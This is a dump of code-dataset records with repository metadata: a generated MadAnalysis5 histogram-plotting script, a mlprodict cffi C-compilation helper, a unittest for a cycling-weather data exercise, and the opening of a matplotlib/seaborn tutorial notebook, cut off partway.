numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_15\n    y4_PT_15_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y4_PT_16\n    y4_PT_16_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating a new Canvas\n    fig   = plt.figure(figsize=(12,6),dpi=80)\n    frame = gridspec.GridSpec(1,1,right=0.7)\n    pad   = fig.add_subplot(frame[0])\n\n    # Creating a new Stack\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights,\\\n             label=\"$bg\\_dip\\_1600\\_inf$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#e5e5e5\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights,\\\n             label=\"$bg\\_dip\\_1200\\_1600$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#f2f2f2\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights,\\\n             label=\"$bg\\_dip\\_800\\_1200$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights,\\\n             label=\"$bg\\_dip\\_600\\_800$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights,\\\n             label=\"$bg\\_dip\\_400\\_600$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#c1bfa8\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights,\\\n             label=\"$bg\\_dip\\_200\\_400$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#bab5a3\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights,\\\n             label=\"$bg\\_dip\\_100\\_200$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b2a596\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights,\\\n             label=\"$bg\\_dip\\_0\\_100$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b7a39b\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights,\\\n             label=\"$bg\\_vbf\\_1600\\_inf$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ad998c\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights,\\\n             label=\"$bg\\_vbf\\_1200\\_1600$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#9b8e82\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights,\\\n             label=\"$bg\\_vbf\\_800\\_1200$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#876656\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights,\\\n             label=\"$bg\\_vbf\\_600\\_800$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#afcec6\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights,\\\n             label=\"$bg\\_vbf\\_400\\_600$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#84c1a3\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights,\\\n             label=\"$bg\\_vbf\\_200\\_400$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#89a8a0\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights,\\\n             label=\"$bg\\_vbf\\_100\\_200$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#829e8c\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights+y4_PT_1_weights,\\\n             label=\"$bg\\_vbf\\_0\\_100$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#adbcc6\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y4_PT_0_weights,\\\n             label=\"$signal$\", rwidth=1.0,\\\n             color=None, edgecolor=\"#7a8e99\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n\n    # Axis\n    plt.rc('text',usetex=False)\n    plt.xlabel(r\"\\phi [ j_{1} ] \",\\\n               fontsize=16,color=\"black\")\n    plt.ylabel(r\"$\\mathrm{Events}$ $(\\mathcal{L}_{\\mathrm{int}} = 40.0\\ \\mathrm{fb}^{-1})$ \",\\\n               fontsize=16,color=\"black\")\n\n    # Boundary of y-axis\n    ymax=(y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights).max()*1.1\n    ymin=0 # linear scale\n    #ymin=min([x for x in (y4_PT_0_weights+y4_PT_1_weights+y4_PT_2_weights+y4_PT_3_weights+y4_PT_4_weights+y4_PT_5_weights+y4_PT_6_weights+y4_PT_7_weights+y4_PT_8_weights+y4_PT_9_weights+y4_PT_10_weights+y4_PT_11_weights+y4_PT_12_weights+y4_PT_13_weights+y4_PT_14_weights+y4_PT_15_weights+y4_PT_16_weights) if x])/100. # log scale\n    plt.gca().set_ylim(ymin,ymax)\n\n    # Log/Linear scale for X-axis\n    plt.gca().set_xscale(\"linear\")\n    #plt.gca().set_xscale(\"log\",nonposx=\"clip\")\n\n    # Log/Linear scale for Y-axis\n    plt.gca().set_yscale(\"linear\")\n    #plt.gca().set_yscale(\"log\",nonposy=\"clip\")\n\n    # Legend\n    plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.)\n\n    # Saving the image\n    plt.savefig('../../HTML/MadAnalysis5job_0/selection_3.png')\n    plt.savefig('../../PDF/MadAnalysis5job_0/selection_3.png')\n    plt.savefig('../../DVI/MadAnalysis5job_0/selection_3.eps')\n\n# Running!\nif __name__ == '__main__':\n    selection_3()\n", "meta": {"hexsha": "100281d732e4f4e8e047f1a95dfc923a65ae979e", "size": 15434, "ext": "py", "lang": "Python", "max_stars_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_3.py", "max_stars_repo_name": "sheride/axion_pheno", "max_stars_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_3.py", "max_issues_repo_name": "sheride/axion_pheno", "max_issues_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_3.py", "max_forks_repo_name": "sheride/axion_pheno", "max_forks_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 79.5567010309, "max_line_length": 378, "alphanum_fraction": 0.6522612414, "include": true, "reason": "import numpy", "num_tokens": 7863, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.15002881864182907, "lm_q1q2_score": 0.075600447470806}}
{"text": "\"\"\"\n@file\n@brief Helpers to compile C.\n\"\"\"\nimport os\nimport sys\nimport shutil\nimport numpy\n\n\n_header_c_float = \"\"\"\nvoid concat_float_float(float* xy, float x, float y)\n{\n    xy[0] = x;\n    xy[1] = y;\n}\n\nvoid adot_float_float(float* res, float* vx, float* vy, int dim)\n{\n    *res = 0;\n    for(; dim > 0; --dim, ++vx, ++vy)\n        *res += *vx * *vy;\n}\n\nvoid aadd_float(float* res, float* vx, float* vy, int dim)\n{\n    for(; dim > 0; --dim, ++vx, ++vy, ++res)\n        *res = *vx + *vy;\n}\n\nvoid asub_float_float(float* res, float* vx, float* vy, int dim)\n{\n    for(; dim > 0; --dim, ++vx, ++vy, ++res)\n        *res = *vx - *vy;\n}\n\nvoid amul_float_float(float* res, float* vx, float* vy, int dim)\n{\n    for(; dim > 0; --dim, ++vx, ++vy, ++res)\n        *res = *vx * *vy;\n}\n\nvoid adiv_float_float(float* res, float* vx, float* vy, int dim)\n{\n    for(; dim > 0; --dim, ++vx, ++vy, ++res)\n        *res = *vx / *vy;\n}\n\nvoid sign_float(float* res, float x)\n{\n    *res = x >= 0 ? (float)1 : (float)0 ;\n}\n\nvoid atake_float_int(float* res, float * vx, int p, int dim)\n{\n    *res = vx[p];\n}\n\nvoid atake_int_int(int* res, int* vx, int p, int dim)\n{\n    *res = vx[p];\n}\n\ntypedef int bool;\n\n\"\"\"\n\n_header_c_double = _header_c_float.replace(\"float\", \"double\")\n\n\nclass CompilationError(Exception):\n    \"\"\"\n    Raised when a compilation error was detected.\n    \"\"\"\n    pass\n\n\ndef compile_c_function(code_c, nbout, dtype=numpy.float32, add_header=True,\n                       suffix=\"\", additional_paths=None, tmpdir='.', fLOG=None):\n    \"\"\"\n    Compiles a C function with :epkg:`cffi`.\n    It takes one features vector.\n\n    @param      nbout               number of expected outputs\n    @param      code_c              code C\n    @param      dtype               numeric type to use\n    @param      add_header          add common function before compiling\n    @param      suffix              avoid avoid the same compiled module name\n    @param      additional_paths    additional paths to add to the module\n    @param      tmpdir              see below\n    @param      fLOG                logging function\n    @return     compiled            function\n\n    The function assumes the first line is the signature.\n    If you are using Windows with Visual Studio 2017, make sure\n    you are using :epkg:`Python` 3.6.3+\n    (see `Issue 30389 <https://bugs.python.org/issue30389>`_).\n    Parameter *tmpdir* is used by function `compile\n    <http://cffi.readthedocs.io/en/latest/cdef.html?\n    highlight=compile#ffibuilder-compile-etc-compiling-out-of-line-modules>`_.\n    \"\"\"\n    if sys.platform.startswith(\"win\"):\n        if \"VS140COMNTOOLS\" not in os.environ:  # pragma: no cover\n            raise CompilationError(\n                \"Visual Studio is not installed.\\n{0}\".format(\n                    \"\\n\".join(\"{0}={1}\".format(k, v) for k, v in sorted(os.environ.items()))))\n\n    sig = code_c.split(\"\\n\")[0].strip() + \";\"\n    name = sig.split()[1]\n    include_paths = []\n    lib_paths = []\n    if additional_paths is None:\n        additional_paths = []\n\n    # ~ if len(additional_paths) == 0 and sys.platform.startswith(\"win\") and \\\n    # ~ 'VSSDK140Install' not in os.environ:  # last condition is for the installed VisualStudio.\n    # ~ if fLOG:\n    #~ fLOG(\"[compile_c_function] fix PATH for VS2017 on Windows\")\n    # ~ # Update environment variables.\n    # ~ adds = [r\"C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\bin\\amd64\",\n    # ~ r\"C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.15063.0\\x64\"]\n    # ~ vcvars64 = os.path.join(adds[0], 'vcvars64.bat')\n    #~ subprocess.run(vcvars64)\n\n    # ~ # Add paths for VS2017.\n    # ~ includes = [r'C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.15063.0\\shared',\n    #~ r'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\include',\n    # ~ r'C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\SDK\\ScopeCppSDK\\SDK\\include\\ucrt']\n    # ~ libs = [r'C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\VC\\lib\\amd64',\n    #~ r'C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.15063.0\\um\\x64',\n    # ~ r'C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.15063.0\\ucrt\\x64']\n    # ~ opaths = os.environ['PATH'].split(';')\n    # ~ for add in adds:\n    # ~ if os.path.exists(add) and add not in opaths:\n    #~ additional_paths.append(add)\n    # ~ oinc = os.environ.get('INCLUDE', '').split(';')\n    # ~ for inc in includes:\n    # ~ if os.path.exists(inc) and inc not in oinc:\n    #~ include_paths.append(inc)\n    # ~ for lib in libs:\n    # ~ if os.path.exists(lib):\n    #~ lib_paths.append(lib)\n\n    if additional_paths:\n        if fLOG:  # pragma: no cover\n            for p in additional_paths:\n                fLOG(\"[compile_c_function] PATH += '{0}'\".format(p))\n        os.environ[\"PATH\"] += \";\" + \";\".join(additional_paths)\n\n    if lib_paths and sys.platform.startswith(\"win\"):  # pragma: no cover\n        libs = ['msvcrt.lib', 'oldnames.lib', 'kernel32.lib', 'vcruntime.lib',\n                'ucrt.lib']\n        libs = {k: False for k in libs}\n        for lib in lib_paths:\n            for name in list(libs):\n                if libs[name]:\n                    continue\n                msv = os.path.join(lib, name)\n                if os.path.exists(msv):\n                    dst = os.getcwd()\n                    msvd = os.path.join(dst, name)\n                    if not os.path.exists(msvd):\n                        shutil.copy(msv, dst)\n                        if fLOG:\n                            fLOG(\"[compile_c_function] copy '{0}'\".format(msv))\n                    libs[name] = True\n        copied = len([k for k, v in libs.items() if v])\n        if copied < len(libs):\n            raise CompilationError('Unable to find those libraries ({0}<{1}) {2} in\\n{3}'.format(\n                copied, len(libs), ','.join(sorted(libs)), '\\n'.join(lib_paths)))\n\n    if include_paths:\n        if fLOG:  # pragma: no cover\n            for p in include_paths:\n                fLOG(\"[compile_c_function] INCLUDE += '{0}'\".format(p))\n        if 'INCLUDE' in os.environ:\n            os.environ[\"INCLUDE\"] += \";\" + \";\".join(include_paths)\n        else:\n            os.environ[\"INCLUDE\"] = \";\".join(include_paths)\n\n    is_float = dtype == numpy.float32\n    header = _header_c_float if is_float else _header_c_double\n    code = code_c if not add_header else (header + code_c)\n\n    from cffi import FFI\n    ffibuilder = FFI()\n    try:\n        ffibuilder.cdef(sig)\n    except Exception as e:  # pragma: no cover\n        raise CompilationError(\n            \"Signature is wrong\\n{0}\\ndue to\\n{1}\".format(sig, e)) from e\n    ffibuilder.set_source(\"_\" + name + suffix, code)\n    try:\n        ffibuilder.compile(verbose=False, tmpdir=tmpdir)\n    except Exception as e:  # pragma: no cover\n        raise CompilationError(\n            \"Compilation failed \\n{0}\\ndue to\\n{1}\".format(sig, e)) from e\n    mod = __import__(\"_{0}{1}\".format(name, suffix))\n    fct = getattr(mod.lib, name)\n\n    def wrapper(features, output, cast_type, dtype):\n        \"wrapper for a vector of features\"\n        if len(features.shape) != 1:\n            raise TypeError(  # pragma: no cover\n                \"Only one dimension for the features not {0}.\".format(\n                    features.shape))\n        if output is None:\n            output = numpy.zeros((nbout,), dtype=dtype)\n        else:\n            if len(output.shape) != 1:\n                raise TypeError(  # pragma: no cover\n                    \"Only one dimension for the output not {0}.\".format(\n                        output.shape))\n            if output.shape[0] != nbout:\n                raise TypeError(  # pragma: no cover\n                    \"Dimension mismatch {0} != {1} (expected).\".format(\n                        output.shape, nbout))\n            if output.dtype != dtype:\n                raise TypeError(  # pragma: no cover\n                    \"Type mismatch {0} != {1} (expected).\".format(\n                        output.dtype, dtype))\n        ptr = features.__array_interface__['data'][0]\n        cptr = mod.ffi.cast(cast_type, ptr)\n        optr = output.__array_interface__['data'][0]\n        cout = mod.ffi.cast(cast_type, optr)\n        fct(cout, cptr)\n        return output\n\n    def wrapper_double(features, output=None):\n        \"wrapper for double\"\n        return wrapper(features, output, \"double*\", numpy.float64)\n\n    def wrapper_float(features, output=None):\n        \"wrapper for float\"\n        return wrapper(features, output, \"float*\", numpy.float32)\n\n    return wrapper_float if is_float else wrapper_double\n", "meta": {"hexsha": "ab22f131b79d7561470566b758152514215c53a3", "size": 8501, "ext": "py", "lang": "Python", "max_stars_repo_path": "mlprodict/cc/c_compilation.py", "max_stars_repo_name": "xadupre/mlprodict", "max_stars_repo_head_hexsha": "f82c8a26a60104948c67849b1c4af95ca812c153", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-12-18T03:49:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-18T03:49:53.000Z", "max_issues_repo_path": "mlprodict/cc/c_compilation.py", "max_issues_repo_name": "xadupre/mlprodict", "max_issues_repo_head_hexsha": "f82c8a26a60104948c67849b1c4af95ca812c153", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mlprodict/cc/c_compilation.py", "max_forks_repo_name": "xadupre/mlprodict", "max_forks_repo_head_hexsha": "f82c8a26a60104948c67849b1c4af95ca812c153", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.718487395, "max_line_length": 106, "alphanum_fraction": 0.5712269145, "include": true, "reason": "import numpy", "num_tokens": 2268, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.17106119167858438, "lm_q1q2_score": 0.075553110681253}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nimport pandas as pd\nfrom tmc import points\n\nfrom tmc.utils import load, get_stdout, patch_helper\n\nmodule_name=\"src.cycling_weather\"\ncycling_weather = load(module_name, \"cycling_weather\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p05-02.1')\nclass CyclingWeather(unittest.TestCase):\n\n    # @classmethod\n    # def setUpClass(cls):\n    #     cls.df = cycling_weather()\n        \n    def setUp(self):\n        self.df = cycling_weather()\n        \n    def test_shape(self):\n        self.assertEqual(self.df.shape, (8760, 28),\n                         msg=\"Incorrect shape returned by cycling_weather function!\")\n\n    def test_column_names(self):\n        cols=['Year', 'Precipitation amount (mm)', 'Snow depth (cm)',\n        'Air temperature (degC)', 'Weekday', 'Day', 'Month', 'Hour',\n        'Auroransilta', 'Etel\u00e4esplanadi', 'Huopalahti (asema)',\n        'Kaisaniemi/El\u00e4intarhanlahti', 'Kaivokatu', 'Kulosaaren silta et.',\n        'Kulosaaren silta po. ', 'Kuusisaarentie', 'K\u00e4pyl\u00e4, Pohjoisbaana',\n        'Lauttasaaren silta etel\u00e4puoli', 'Merikannontie',\n        'Munkkiniemen silta etel\u00e4puoli', 'Munkkiniemi silta pohjoispuoli',\n        'Heperian puisto/Ooppera', 'Pitk\u00e4silta it\u00e4puoli',\n        'Pitk\u00e4silta l\u00e4nsipuoli', 'Lauttasaaren silta pohjoispuoli',\n        'Ratapihantie', 'Viikintie', 'Baana']\n        self.assertCountEqual(self.df.columns, cols, msg=\"Incorrect column names!\")\n\n    def test_calls(self):\n        with patch(ph(\"cycling_weather\"), wraps=cycling_weather) as pcw,\\\n            patch(ph(\"pd.read_csv\"), wraps=pd.read_csv) as prc,\\\n            patch(ph(\"pd.merge\"), wraps=pd.merge) as pmerge:\n            main()\n            pcw.assert_called_once()\n            pmerge.assert_called_once()\n            self.assertEqual(prc.call_count, 2,\n                             msg=\"You should have called pd.read_csv exactly twice\")\n            \nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "9f60e70c4e85d5783325eadbd90111038c852b7e", "size": 2025, "ext": "py", "lang": "Python", "max_stars_repo_path": "part05-e02_cycling_weather/test/test_cycling_weather.py", "max_stars_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_stars_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part05-e02_cycling_weather/test/test_cycling_weather.py", "max_issues_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_issues_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part05-e02_cycling_weather/test/test_cycling_weather.py", "max_forks_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_forks_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-14T20:07:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T07:30:23.000Z", "avg_line_length": 36.1607142857, "max_line_length": 85, "alphanum_fraction": 0.642962963, "include": true, "reason": "import numpy", "num_tokens": 550, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.1755380800931169, "lm_q1q2_score": 0.07550723972790355}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.6.0\n#   kernelspec:\n#     display_name: deep_ml_curriculum\n#     language: python\n#     name: deep_ml_curriculum\n# ---\n\n# # Introduction\n#\n# This notebook provides a basic data visualisation tutorial using Matplotlib (MPL) and Seaborn python library. Please refer to the table below to navigate through the notebook.\n#\n# ## Table of Contents\n#\n# 1. [Matplotlib Basics](#matplotlib-basics)\n# 2. [Importing Libraries](#libraries)\n# 3. [Dataset](#dataset)\n# 3. [Scatterplot](#scatter)\n#     * [MPL Styling: Adding different markers](#scatter-styling-markers)\n#     * [MPL Styling: Customise color](#scatter-styling-color)\n# 4. [Bar Chart](#bar)\n#     * [Useful Functions (getattr and operator)](#bar-useful)\n# 5. [Histogram](#histogram)\n# 6. [Line](#line)\n#     * [MPL Styling: Line Styling](#line-styling)\n#     * [MPL Styling: Colourmap](#line-styling-colourmap)\n# 7. [Seaborn](#seaborn)\n#    * [Basic Plots](#seaborn-basics)\n#    * [Other Plots](#seaborn-others)\n\n# # Plotting libraries\n#\n# We mention a few plotting libraries:\n#\n# - [Matplotlib/pyplot](https://matplotlib.org/3.1.1/gallery/index.html) is for basic plotting, it is the classic library that can do 80% of your plots\n#     - [Pandas](https://pandas.pydata.org/pandas-docs/stable/user_guide/visualization.html) wraps this to make it easier with dataframes\n#     - [Geopandas](https://geopandas.org/gallery/index.html) adds maps\n#     - [Seaborn](https://seaborn.pydata.org/examples/index.html) is for statistical visualization \n# - [Holoviews](http://holoviews.org/gallery/index.html) - very high-level tool for interactive dashboards and large data (when using datashader backend). Not as well-suited to making figures for publication.\n#     - [Bokeh](https://docs.bokeh.org/en/latest/docs/gallery.html) is usefull for interactive plotting but because it's browser based, it can struggle with large amounts of data, unless you use server-based plotting. We will use it as a Holoviews backend but it's worth looking into by itself.\n#     - Datashader is useul for plotting large quantity of data points. We will use it as a holoview backend\n#\n# But the important thing is to get good at one so you can easily produce plots. Matplotlib is the default choice unless you expect to need interactivity or large datasets.\n#\n# Most plotting workflows start by finding an example and modifying it. For that we browse the galleries.\n\n\n\n#  <div class=\"alert alert-success\">\n#   <h2>Exercise</h2>\n#\n#   A lot of the work of programming is knowing what to look for and how to look. This is a bit like riding a bike - it's a habit you need to build. We sometimes have blindspots where we don't know the right jargon, or stop because we get tired or 